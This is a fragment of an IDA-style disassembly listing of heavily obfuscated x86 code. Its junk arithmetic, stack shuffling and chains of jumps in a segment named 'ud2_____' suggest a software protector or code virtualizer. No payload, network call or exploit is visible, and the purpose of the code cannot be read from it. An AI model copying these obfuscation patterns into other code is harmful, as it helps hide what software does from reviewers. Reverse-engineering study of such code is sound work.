		or	ecx, 7B4E1418h
		add	ecx, 365B6DF0h
		jmp	loc_57E15E
; ---------------------------------------------------------------------------


loc_584823:				; CODE XREF: ud2_____:005824B1j
		sub	edx, 2E5223E9h
		jmp	loc_5924FE
; ---------------------------------------------------------------------------


loc_58482E:				; CODE XREF: ud2_____:00584B40j
		mov	[esp], edx
		mov	edx, 57401A91h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2C003901h
		sub	esp, 4
		jmp	loc_586192
; ---------------------------------------------------------------------------


loc_58484C:				; CODE XREF: ud2_____:005891ABj
		sub	esi, 187E70D6h
		jmp	loc_57F77A
; ---------------------------------------------------------------------------


loc_584857:				; CODE XREF: ud2_____:005826B1j
		mov	[esp], edi
		jmp	loc_58DD23
; ---------------------------------------------------------------------------


loc_58485F:				; CODE XREF: ud2_____:0057E79Fj
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_58CA45
; ---------------------------------------------------------------------------


loc_58486D:				; CODE XREF: ud2_____:0058215Fj
		sub	edx, 4
		jmp	loc_5818A5
; ---------------------------------------------------------------------------


loc_584875:				; CODE XREF: ud2_____:0058908Aj
		mov	esi, esp
		jmp	loc_5835CA
; ---------------------------------------------------------------------------


loc_58487C:				; CODE XREF: ud2_____:0057F5D4j
		xchg	ebx, [esp]
		jmp	loc_583193
; ---------------------------------------------------------------------------


loc_584884:				; CODE XREF: ud2_____:0058FAAFj
		add	esp, 2
		sub	al, 0ABh
		add	al, cl
		jmp	loc_587739
; ---------------------------------------------------------------------------


loc_584890:				; CODE XREF: ud2_____:00584E0Bj
		xor	[esp], esi
		jmp	loc_5845F2
; ---------------------------------------------------------------------------


loc_584898:				; CODE XREF: ud2_____:0059141Ej
		xor	esi, 755F8B83h
		xor	edi, esi
		pop	esi
		push	ecx
		push	edx
		jmp	loc_5910D9
; ---------------------------------------------------------------------------


loc_5848A8:				; CODE XREF: ud2_____:005845D7j
		push	13EEh
		mov	[esp], ecx
		neg	dword ptr [esp]
		pop	ecx
		dec	ecx
		push	esi
		mov	esi, 141B44C1h
		push	edx
		mov	edx, 4E295C7Fh
		xor	esi, edx
		pop	edx
		sub	ecx, 5E917CF4h
		jmp	loc_58E447
; ---------------------------------------------------------------------------


loc_5848CF:				; CODE XREF: ud2_____:005884E4j
		sub	edx, 0FFFFFFFDh
		mov	edi, edx
		pop	edx
		push	edi
		mov	edi, 1D392455h
		sub	ecx, edi
		pop	edi
		add	ecx, edi
		add	ecx, 1D392455h
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_57F05D
; ---------------------------------------------------------------------------


loc_5848F2:				; CODE XREF: ud2_____:0057FEB2j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		imul	cx
		push	small 357Fh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58490F:				; CODE XREF: ud2_____:0058B4FFj
		sub	eax, esi
		jmp	loc_58DD7E
; ---------------------------------------------------------------------------


loc_584916:				; CODE XREF: ud2_____:0058EB54j
		add	ebx, 0B0CFFBh
		xor	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 63AB5F97h
		jmp	loc_587053
; ---------------------------------------------------------------------------


loc_58492A:				; CODE XREF: ud2_____:0057F641j
		pop	dword ptr [esp]
		jmp	loc_58C11E
; ---------------------------------------------------------------------------


loc_584932:				; CODE XREF: ud2_____:0058BFD3j
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		pop	eax
		jmp	loc_5863CE
; ---------------------------------------------------------------------------


loc_584950:				; CODE XREF: ud2_____:005863A4j
		add	esp, 4
		xor	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_580F6D
; ---------------------------------------------------------------------------


loc_584963:				; CODE XREF: ud2_____:00580133j
		add	ecx, edi
		push	edx
		mov	edx, 0
		push	ebp
		mov	ebp, 29A4D07h
		sub	edx, 6C44B80h
		add	edx, ebp
		jmp	loc_5850BC
; ---------------------------------------------------------------------------


loc_58497E:				; CODE XREF: ud2_____:005916DEj
		sub	ebp, 62BD114Fh
		sub	ebp, 2C904C64h
		sub	ebp, 20F3AD93h
		add	esi, 241D5CA4h
		add	esi, 71142A08h
		sub	esi, ebp
		sub	esi, 71142A08h
		jmp	loc_5822E2
; ---------------------------------------------------------------------------


loc_5849A9:				; CODE XREF: ud2_____:00592EBEj
		add	ebp, esi
		push	edx
		mov	edx, 736D3415h
		shr	edx, 3
		jmp	loc_580575
; ---------------------------------------------------------------------------


loc_5849B9:				; CODE XREF: ud2_____:00592E88j
		mov	edx, 186D7A07h
		add	edx, 0AC12AE0h
		inc	edx
		neg	edx
		jmp	loc_57FC4E
; ---------------------------------------------------------------------------


loc_5849CC:				; CODE XREF: ud2_____:00581E82j
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	326Fh
		mov	[esp], ecx
		mov	ecx, 28760FDAh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		dec	ebp
		sub	ebp, 5B23ECFh
		jmp	loc_58F865
; ---------------------------------------------------------------------------


loc_584A03:				; CODE XREF: ud2_____:0058A33Fj
		push	edx
		push	esp
		jmp	loc_58D60B
; ---------------------------------------------------------------------------


loc_584A0A:				; CODE XREF: ud2_____:0058F0A0j
		pop	ebx
		jmp	loc_5866BB
; ---------------------------------------------------------------------------


loc_584A10:				; CODE XREF: ud2_____:00591DB1j
		xor	esi, 3A7C0928h
		add	esi, 8C82AEC6h
		push	esi
		add	dword ptr [esp], 4A465B1Ch
		pop	ebp
		sub	ebp, 4A465B1Ch
		mov	esi, [esp]
		add	esp, 4
		sub	esi, ebp
		pop	ebp
		push	777Ch
		mov	[esp], ebp
		push	ebx
		jmp	loc_5839F0
; ---------------------------------------------------------------------------


loc_584A42:				; CODE XREF: ud2_____:0058A904j
		push	0A38h
		mov	[esp], eax
		push	esp
		jmp	loc_57EF99
; ---------------------------------------------------------------------------


loc_584A50:				; CODE XREF: ud2_____:00581F71j
		pop	esp
		mov	eax, [esp]
		jmp	loc_586BFF
; ---------------------------------------------------------------------------


loc_584A59:				; CODE XREF: ud2_____:0058C691j
		add	ebx, esi
		pop	esi
		jmp	loc_58A00F
; ---------------------------------------------------------------------------


loc_584A61:				; CODE XREF: ud2_____:005845BBj
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_58F5E5
; ---------------------------------------------------------------------------


loc_584A70:				; CODE XREF: ud2_____:0058FE1Aj
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, edx
		jmp	loc_5888EF
; ---------------------------------------------------------------------------


loc_584A8B:				; CODE XREF: ud2_____:00580EE9j
		xor	eax, [esp]
		jmp	loc_580C95
; ---------------------------------------------------------------------------


loc_584A93:				; CODE XREF: ud2_____:00592F47j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_584A98:				; CODE XREF: ud2_____:00588649j
		sub	ebx, 1A956651h
		add	ebx, ebp
		jmp	loc_58161E
; ---------------------------------------------------------------------------


loc_584AA5:				; CODE XREF: ud2_____:005915A1j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	dh, 74h
		jmp	loc_592C0B
; ---------------------------------------------------------------------------


loc_584ABC:				; CODE XREF: ud2_____:00587D97j
		push	edi
		mov	edi, 2C061C4Dh
		sub	ebx, edi
		jmp	loc_58EB87
; ---------------------------------------------------------------------------


loc_584AC9:				; CODE XREF: ud2_____:0058A7C3j
		push	ecx
		mov	cl, ah
		mov	bh, cl
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 482E5F0Fh
		sub	esi, 545374Ah
		add	esi, 6AE94665h
		jmp	loc_581575
; ---------------------------------------------------------------------------


loc_584AF8:				; CODE XREF: ud2_____:0057E4BAj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_58B916
; ---------------------------------------------------------------------------


loc_584B04:				; CODE XREF: ud2_____:0058152Cj
		add	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_58F67E
; ---------------------------------------------------------------------------


loc_584B0D:				; CODE XREF: ud2_____:00589F5Dj
		push	61A4h
		push	3575h
		push	1AB6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_583863
; ---------------------------------------------------------------------------


loc_584B2B:				; CODE XREF: ud2_____:00582A10j
		sub	ecx, 40D43690h
		add	eax, ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58482E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 57BD14DFh
		push	412Bh
		mov	[esp], esi
		neg	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		jmp	loc_580686
; ---------------------------------------------------------------------------


loc_584B6C:				; CODE XREF: ud2_____:00585674j
		pop	edi
		jmp	loc_582EA2
; ---------------------------------------------------------------------------


loc_584B72:				; CODE XREF: ud2_____:005887BFj
		pop	ebx
		sub	edx, eax
		add	edx, 50DB616Ch
		jmp	loc_5879D3
; ---------------------------------------------------------------------------


loc_584B80:				; CODE XREF: ud2_____:0058CBAAj
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5891F6
; ---------------------------------------------------------------------------


loc_584B9F:				; CODE XREF: ud2_____:0058DC63j
		push	4C41h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	744h
		mov	[esp], edi
		push	4
		pop	edi
		push	ecx
		mov	ecx, 6BBB2485h
		shl	ecx, 8
		xor	ecx, 726C188Bh
		sub	ecx, 6AEA536Ah
		add	ecx, 64ED0229h
		shl	ecx, 3
		push	edi
		mov	edi, 2990849h
		jmp	loc_591082
; ---------------------------------------------------------------------------


loc_584BE8:				; CODE XREF: ud2_____:0058F6ACj
		push	esi
		push	esp
		pop	esi
		push	ebx
		jmp	loc_58C676
; ---------------------------------------------------------------------------


loc_584BF1:				; CODE XREF: ud2_____:0057F0DEj
		push	esp
		jmp	loc_57E4D5
; ---------------------------------------------------------------------------


loc_584BF7:				; CODE XREF: ud2_____:00582814j
		dec	ebx
		xor	ebx, 48D0530Fh
		jmp	loc_57F327
; ---------------------------------------------------------------------------


loc_584C03:				; CODE XREF: ud2_____:00581F1Ej
		shr	ebx, 4
		xor	ebx, 0CDA31Ah
		sub	ebp, 4E707EC1h
		add	ebp, 42DA0E50h
		add	ebp, ebx
		sub	ebp, 42DA0E50h
		push	esi
		jmp	loc_58568B
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_580A64
; ---------------------------------------------------------------------------


loc_584C2D:				; CODE XREF: ud2_____:0057E9F8j
		push	esi
		jmp	loc_57ED81
; ---------------------------------------------------------------------------


loc_584C33:				; CODE XREF: ud2_____:0058C158j
		add	al, 0E3h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 26FB06B1h
		push	ecx
		mov	ecx, 7E640D9Eh
		xor	ecx, 2BC53DA2h
		add	edx, ecx
		jmp	loc_588E53
; ---------------------------------------------------------------------------


loc_584C54:				; CODE XREF: ud2_____:0058ECBEj
		and	ebx, 3BB13CFh
		add	ebx, 150A02AEh
		mov	edx, ebx
		jmp	loc_58B083
; ---------------------------------------------------------------------------


loc_584C67:				; CODE XREF: ud2_____:0058D303j
		add	ebx, ebp
		add	ebx, 4D0D42F2h
		jmp	loc_57F5CD
; ---------------------------------------------------------------------------


loc_584C74:				; CODE XREF: ud2_____:005921E8j
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	35FB39BDh
		pop	ebp
		jmp	loc_58CA32
; ---------------------------------------------------------------------------


loc_584C93:				; CODE XREF: ud2_____:0057FCB0j
		push	3A0527E5h
		pop	eax
		jmp	loc_5824F9
; ---------------------------------------------------------------------------


loc_584C9E:				; CODE XREF: ud2_____:0058855Fj
		pop	ebx
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_59054C
; ---------------------------------------------------------------------------


loc_584CAD:				; CODE XREF: ud2_____:0058735Cj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58E5A7
; ---------------------------------------------------------------------------


loc_584CB8:				; CODE XREF: ud2_____:0058A76Fj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_583393
; ---------------------------------------------------------------------------


loc_584CC6:				; CODE XREF: ud2_____:00588915j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58A996
; ---------------------------------------------------------------------------


loc_584CDA:				; CODE XREF: ud2_____:0058C65Fj
		xor	bl, al
		pop	eax
		add	bl, 0FFh
		shr	bl, 6
		push	ebx
		jmp	loc_58872A
; ---------------------------------------------------------------------------


loc_584CE9:				; CODE XREF: ud2_____:0057FFE3j
		push	edx
		push	esi
		jmp	loc_58F36C
; ---------------------------------------------------------------------------


loc_584CF0:				; CODE XREF: ud2_____:0057F9ADj
		pop	esi
		push	ebp
		jmp	loc_581629
; ---------------------------------------------------------------------------


loc_584CF7:				; CODE XREF: ud2_____:00587833j
		xor	esi, 14F47A9Eh
		neg	esi
		xor	esi, 0F84AD143h
		and	edx, esi
		pop	esi
		inc	edx
		and	edx, 45FF7B3Ah
		add	edx, 0FF800004h
		add	eax, 1F3E2187h
		push	edx
		mov	edx, 66F24C3Dh
		add	eax, edx
		pop	edx
		add	eax, edx
		sub	eax, 66F24C3Dh
		sub	eax, 1F3E2187h
		jmp	loc_580693
; ---------------------------------------------------------------------------


loc_584D34:				; CODE XREF: ud2_____:0058AD42j
		xchg	ebx, edx
		add	ebx, 1
		jmp	loc_58EA3B
; ---------------------------------------------------------------------------


loc_584D41:				; CODE XREF: ud2_____:005861F0j
		mov	ecx, [esp]
		push	edx
		jmp	loc_58703F
; ---------------------------------------------------------------------------


loc_584D4A:				; CODE XREF: ud2_____:00592CE2j
		mov	al, dh
		push	3E0Bh
		mov	[esp], edx
		mov	dh, al
		mov	bh, dh
		jmp	loc_581AA9
; ---------------------------------------------------------------------------


loc_584D5D:				; CODE XREF: ud2_____:0058371Cj
		add	ebp, ecx
		jmp	loc_58F4CA
; ---------------------------------------------------------------------------


loc_584D64:				; CODE XREF: ud2_____:005800ADj
		sub	dword ptr [esp+4], 72C811A3h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 72C811A3h
		sub	dword ptr [esp+4], 3FAA4EEFh
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_57F6DD
; ---------------------------------------------------------------------------


loc_584D95:				; CODE XREF: ud2_____:0058DC55j
		xor	cl, 0ADh
		xor	cl, 1
		xor	cl, 0E1h
		xor	al, cl
		pop	ecx
		add	dh, al
		pop	eax
		jmp	loc_585A51
; ---------------------------------------------------------------------------


loc_584DA9:				; CODE XREF: ud2_____:00584556j
		xchg	eax, esi
		jmp	loc_57EA7A
; ---------------------------------------------------------------------------


loc_584DAF:				; CODE XREF: ud2_____:0058F73Aj
		add	[esp+8], edi
		jmp	loc_588841
; ---------------------------------------------------------------------------


loc_584DB8:				; CODE XREF: ud2_____:0058AE85j
		push	2D9Ah
		mov	[esp], ebx
		push	774Dh
		mov	[esp], eax
		mov	al, 31h
		shr	al, 8
		push	ecx
		mov	cl, 2Dh
		dec	cl
		dec	cl
		xor	cl, 0EDh
		neg	cl
		xor	cl, 0B5h
		xor	al, cl
		pop	ecx
		and	al, 92h
		push	0B08h
		mov	[esp], ebx
		mov	bl, 0A1h
		dec	bl
		xor	bl, 6Ah
		jmp	loc_5827D5
; ---------------------------------------------------------------------------


loc_584DF5:				; CODE XREF: ud2_____:0058E7EEj
		xor	ebp, 2151355Eh
		add	eax, ebp
		jmp	loc_58FE9E
; ---------------------------------------------------------------------------


loc_584E02:				; CODE XREF: ud2_____:0057FB14j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_584890
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_58E84C
; ---------------------------------------------------------------------------


loc_584E1F:				; CODE XREF: ud2_____:0058E9B8j
		mov	bh, 75h
		sub	ah, bh
		pop	ebx
		sub	cl, ah
		pop	eax
		add	al, 4Eh
		add	al, cl
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 4Eh
		jmp	loc_59131F
; ---------------------------------------------------------------------------


loc_584E45:				; CODE XREF: ud2_____:0058AC3Aj
		mov	edx, 4
		jmp	loc_59115C
; ---------------------------------------------------------------------------


loc_584E4F:				; CODE XREF: ud2_____:0057E5D1j
		push	ebp
		push	544E6870h
		pop	ebp
		neg	ebp
		push	esi
		mov	esi, 68272CDFh
		jmp	loc_589734
; ---------------------------------------------------------------------------


loc_584E63:				; CODE XREF: ud2_____:0058DAA0j
		xor	ecx, [esp]
		jmp	loc_5837E6
; ---------------------------------------------------------------------------


loc_584E6B:				; CODE XREF: ud2_____:00580962j
		push	ecx
		pop	ebx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_584644
; ---------------------------------------------------------------------------


loc_584E81:				; CODE XREF: ud2_____:005804D7j
		mov	esi, esp
		add	esi, 4
		jmp	loc_57E744
; ---------------------------------------------------------------------------


loc_584E8E:				; CODE XREF: ud2_____:005928DFj
		push	7C17h
		jmp	loc_588B28
; ---------------------------------------------------------------------------


loc_584E98:				; CODE XREF: ud2_____:0058A1BDj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_586A5B
; ---------------------------------------------------------------------------


loc_584EA4:				; CODE XREF: ud2_____:005857DCj
		mov	ecx, 4D86E8Bh
		jmp	loc_58D406
; ---------------------------------------------------------------------------


loc_584EAE:				; CODE XREF: ud2_____:0057E8D8j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	6DEC6850h
		pop	edi
		sub	edi, 1E9E044Ah
		push	eax
		mov	eax, esp
		jmp	loc_58C19D
; ---------------------------------------------------------------------------


loc_584ED1:				; CODE XREF: ud2_____:00581A5Cj
		xor	edi, ebx
		pop	ebx
		add	ecx, edi
		jmp	loc_58DCE4
; ---------------------------------------------------------------------------


loc_584EDB:				; CODE XREF: ud2_____:00584567j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	esi
		jmp	loc_581F91
; ---------------------------------------------------------------------------


loc_584EEF:				; CODE XREF: ud2_____:0057EA75j
		push	eax
		jmp	loc_58A1B6
; ---------------------------------------------------------------------------


loc_584EF5:				; CODE XREF: ud2_____:0057ED92j
		sub	esi, 7FBF5DC5h
		add	ecx, esi
		pop	esi
		add	ecx, 2
		jmp	loc_583FCC
; ---------------------------------------------------------------------------


loc_584F06:				; CODE XREF: ud2_____:00587F6Ej
		sub	ebx, ecx
		add	ebx, 54894401h
		sub	ebx, 0D2715ECh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58E612
; ---------------------------------------------------------------------------


loc_584F1F:				; CODE XREF: ud2_____:00586BA0j
		sub	bh, 0EAh
		sub	bh, dh
		add	bh, 0EAh
		jmp	loc_58FF90
; ---------------------------------------------------------------------------


loc_584F2C:				; CODE XREF: ud2_____:00590EB7j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shl	eax, 6
		add	eax, 2DCD04DEh
		or	eax, 45F9547Fh
		add	eax, 1C22E374h
		xor	edx, eax
		mov	eax, [esp]


loc_584F4D:				; DATA XREF: ___:00429E28o
		add	esp, 4
		push	edx
		xor	dword ptr [esp], 1E5E5065h
		pop	ecx
		xor	ecx, 1E5E5065h
		pop	edx
		sub	ecx, 1005280Fh
		sub	ecx, 34E35BC2h
		sub	ecx, 72EA6CBBh
		add	ecx, edx
		add	ecx, 72EA6CBBh
		add	ecx, 34E35BC2h
		add	ecx, 1005280Fh
		jmp	loc_592DAA
; ---------------------------------------------------------------------------


loc_584F8B:				; CODE XREF: ud2_____:00586446j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_58EC83
; ---------------------------------------------------------------------------


loc_584FAB:				; CODE XREF: ud2_____:0058F5E0j
		push	ebx
		mov	ebx, 4
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_592D7B
; ---------------------------------------------------------------------------


loc_584FD4:				; CODE XREF: ud2_____:00589187j
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, eax
		pop	eax
		sub	edx, 432B0142h
		jmp	loc_581A76
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2293h
		mov	[esp], ecx
		push	5556h
		mov	[esp], esp
		jmp	loc_59197C
; ---------------------------------------------------------------------------


loc_585004:				; CODE XREF: ud2_____:0058F4DBj
		pop	esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_58362B
; ---------------------------------------------------------------------------


loc_58501E:				; CODE XREF: ud2_____:0058099Ej
		sub	al, ch
		pop	cx
		jmp	loc_58698D
; ---------------------------------------------------------------------------
		push	57A8h
		sub	esp, 4
		jmp	loc_58543D
; ---------------------------------------------------------------------------


loc_585034:				; CODE XREF: ud2_____:00589936j
		mov	[esp], edx
		mov	edx, 51D728ADh
		jmp	loc_58EBBB
; ---------------------------------------------------------------------------


loc_585041:				; CODE XREF: ud2_____:0058CA75j
		push	ebx
		jmp	loc_57F6CA
; ---------------------------------------------------------------------------


loc_585047:				; CODE XREF: ud2_____:0057F5A5j
		xor	bl, al
		push	eax
		not	byte ptr [esp]
		pop	eax
		xchg	al, bl
		inc	bl
		push	edx
		mov	dh, 80h
		xor	dh, 74h
		add	dh, 11h
		add	bl, dh
		pop	edx
		jmp	loc_57F9C4
; ---------------------------------------------------------------------------


loc_585063:				; CODE XREF: ud2_____:00591122j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	4
		jmp	loc_590A86
; ---------------------------------------------------------------------------


loc_585074:				; CODE XREF: ud2_____:00588BC6j
		sub	edx, 4
		jmp	loc_585381
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_581AC9
; ---------------------------------------------------------------------------


loc_585087:				; CODE XREF: ud2_____:00586D55j
		push	ebp
		jmp	loc_5868CB
; ---------------------------------------------------------------------------


loc_58508D:				; CODE XREF: ud2_____:00582D73j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58DE19
; ---------------------------------------------------------------------------


loc_585098:				; CODE XREF: ud2_____:0058214Cj
		pop	ecx
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_587D56
; ---------------------------------------------------------------------------


loc_5850A2:				; CODE XREF: ud2_____:00581218j
		add	edi, 8908D452h
		mov	ecx, edi
		pop	edi
		shr	ecx, 8
		inc	ecx
		push	3F31h
		mov	[esp], eax
		jmp	loc_585320
; ---------------------------------------------------------------------------


loc_5850BC:				; CODE XREF: ud2_____:00584979j
		add	edx, 6C44B80h
		pop	ebp
		add	edx, ecx
		sub	edx, 29A4D07h
		xor	esi, [edx]
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	ecx
		mov	ecx, 24h
		push	edx
		mov	edx, 526C4FC4h
		sub	edx, 0F5E8E69Ah
		sub	ecx, edx
		pop	edx
		add	ecx, edi
		push	eax
		mov	eax, 5C83692Ah
		jmp	loc_58381A
; ---------------------------------------------------------------------------


loc_5850F9:				; CODE XREF: ud2_____:00586501j
		push	ecx
		mov	ecx, 60C96FF8h
		inc	ecx
		jmp	loc_57ED15
; ---------------------------------------------------------------------------


loc_585105:				; CODE XREF: ud2_____:0058AF73j
		cmp	ecx, eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58510D:				; CODE XREF: ud2_____:00588BE6j
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		push	ebp
		mov	bp, 5204h
		add	bp, 0D68Ch
		push	eax
		mov	ax, bp
		jmp	loc_5909A0
; ---------------------------------------------------------------------------


loc_585127:				; CODE XREF: ud2_____:00592983j
		add	esp, 4
		add	edx, 4
		jmp	loc_5838A3
; ---------------------------------------------------------------------------


loc_585138:				; CODE XREF: ud2_____:00591098j
		mov	eax, 75727205h
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 401E795Fh
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_57F9B8
; ---------------------------------------------------------------------------


loc_585168:				; CODE XREF: ud2_____:0058B508j
		xchg	ebx, ecx
		shr	ecx, 5
		jmp	loc_57FD23
; ---------------------------------------------------------------------------


loc_585172:				; CODE XREF: ud2_____:0058E496j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58A4B3
; ---------------------------------------------------------------------------


loc_585186:				; CODE XREF: ud2_____:00590F5Cj
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_58168C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_591808
; ---------------------------------------------------------------------------


loc_5851A6:				; CODE XREF: ud2_____:0057E2B1j
		sub	al, 0ADh
		mov	edx, [esp]
		jmp	loc_585E28
; ---------------------------------------------------------------------------


loc_5851B0:				; CODE XREF: ud2_____:00587B31j
		sub	dl, bl
		pop	ebx
		sub	al, dl
		pop	edx
		push	327Eh
		jmp	loc_583BFB
; ---------------------------------------------------------------------------


loc_5851C0:				; CODE XREF: ud2_____:0057EB43j
		push	edi
		jmp	loc_5831EA
; ---------------------------------------------------------------------------


loc_5851C6:				; CODE XREF: ud2_____:00581624j
		pop	ebp
		push	ebx
		jmp	loc_59064B
; ---------------------------------------------------------------------------


loc_5851CD:				; CODE XREF: ud2_____:0058CB98j
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	small 2EC2h
		jmp	loc_58E5D8
; ---------------------------------------------------------------------------


loc_5851F0:				; CODE XREF: ud2_____:005826CEj
		push	small 1DD0h
		jmp	loc_581D1B
; ---------------------------------------------------------------------------


loc_5851F9:				; CODE XREF: ud2_____:00590C42j
		xchg	edx, [esp]
		pop	esp
		dec	bh
		jmp	loc_57FFB3
; ---------------------------------------------------------------------------


loc_585204:				; CODE XREF: ud2_____:0058E35Dj
		xor	ebp, [esp]
		mov	esp, [esp]
		push	4EF8h
		mov	[esp], esi
		jmp	loc_58438E
; ---------------------------------------------------------------------------


loc_585217:				; CODE XREF: ud2_____:0059041Fj
		or	ebp, 4E193EFCh
		shl	ebp, 1
		add	ebp, 2CC8006h
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5892BB
; ---------------------------------------------------------------------------


loc_58523C:				; CODE XREF: ud2_____:00590481j
		mov	[esp], ebx
		push	1639h
		mov	[esp], ecx
		push	esi
		mov	esi, 3B877497h
		jmp	loc_590516
; ---------------------------------------------------------------------------


loc_585252:				; CODE XREF: ud2_____:0058A2B3j
		add	edx, edi
		push	217Eh
		jmp	loc_5846FF
; ---------------------------------------------------------------------------


loc_58525E:				; CODE XREF: ud2_____:0058A991j
		sub	[esp], esi
		add	dword ptr [esp], 41B40CDFh
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0FDB517Ah
		push	esi
		mov	esi, 4050F79h
		and	edx, esi
		pop	esi
		not	edx
		or	edx, 181973FEh
		jmp	loc_5826D3
; ---------------------------------------------------------------------------


loc_58528A:				; CODE XREF: ud2_____:005846BDj
		mov	ebp, eax
		jmp	loc_590B86
; ---------------------------------------------------------------------------


loc_585291:				; CODE XREF: ud2_____:005892E8j
		or	edx, eax
		shl	edx, 1
		jmp	loc_58DF79
; ---------------------------------------------------------------------------


loc_58529A:				; CODE XREF: ud2_____:00589447j
		push	edx
		mov	dl, 48h
		jmp	loc_57E3B6
; ---------------------------------------------------------------------------


loc_5852A2:				; CODE XREF: ud2_____:005866A4j
		mov	edi, 0B9137B09h
		jmp	loc_586FFA
; ---------------------------------------------------------------------------


loc_5852AC:				; CODE XREF: ud2_____:00592C21j
		push	edx
		mov	dh, 8
		jmp	loc_58DFC4
; ---------------------------------------------------------------------------


loc_5852B4:				; CODE XREF: ud2_____:00589C2Ej
		pop	eax
		add	esp, 4
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_586824
; ---------------------------------------------------------------------------


loc_5852C4:				; CODE XREF: ud2_____:00582405j
		sub	al, dh
